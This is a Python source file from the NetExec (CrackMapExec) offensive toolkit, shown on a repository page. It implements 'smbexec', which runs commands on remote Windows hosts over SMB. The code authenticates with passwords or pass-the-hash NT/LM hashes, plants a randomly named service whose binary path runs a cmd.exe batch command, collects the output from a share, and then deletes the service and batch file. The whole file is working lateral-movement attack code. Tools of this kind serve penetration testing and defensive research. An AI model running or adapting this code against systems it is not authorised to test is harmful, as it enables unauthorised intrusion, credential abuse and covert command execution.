Files
Pennyw0rth-NetExec/core/execmethods/smbexec.py
T
byt3bl33d3r a56ad587ec Revamped the mimikatz module's credential parsing (Stole it from Empire)
Implemented proper handling of hashes if only the nthash is supplied
2016-04-16 19:30:23 -06:00

141 lines
5.0 KiB
Python

import traceback
from gevent import sleep
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import *
from core.helpers import gen_random_string
class SMBEXEC:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None):
self.__host = host
self.__username = username
self.__password = password
self.__serviceName = gen_random_string()
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__share = share
self.__output = '\\Windows\\Temp\\' + gen_random_string()
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
self.__outputBuffer = ''
self.__shell = '%COMSPEC% /Q /c '
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
#self.__mode = mode
#self.__aesKey = aesKey
#self.__doKerberos = doKerberos
if hashes is not None:
#This checks to see if we didn't provide the LM Hash
if hashes.find(':') != -1:
self.__lmhash, self.__nthash = hashes.split(':')
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ''
protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)]
port = protodef[1]
stringbinding = protodef[0] % self.__host
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.set_dport(port)
if hasattr(self.__rpctransport,'preferred_dialect'):
self.__rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(self.__rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
#rpctransport.set_kerberos(self.__doKerberos)
self.__scmr = self.__rpctransport.get_dce_rpc()
try:
self.__scmr.connect()
except Exception as e:
traceback.print_exc()
s = self.__rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = self.__rpctransport.get_smb_connection()
def execute(self, command, output=False):
self.__retOutput = output
try:
if self.__retOutput:
self.cd('')
self.execute_remote(command)
self.finish()
return self.__outputBuffer
except Exception as e:
traceback.print_exc()
def cd(self, s):
self.execute_remote('cd ' )
def get_output(self):
if self.__retOutput is False:
self.__outputBuffer = ''
return
def output_callback(data):
self.__outputBuffer += data
while True:
try:
self.transferClient.getFile(self.__share, self.__output, output_callback)
self.transferClient.deleteFile(self.__share, self.__output)
break
except Exception:
sleep(2)
def execute_remote(self, data):
if self.__retOutput:
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
else:
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
command += ' & ' + 'del ' + self.__batchFile
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpctransport.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass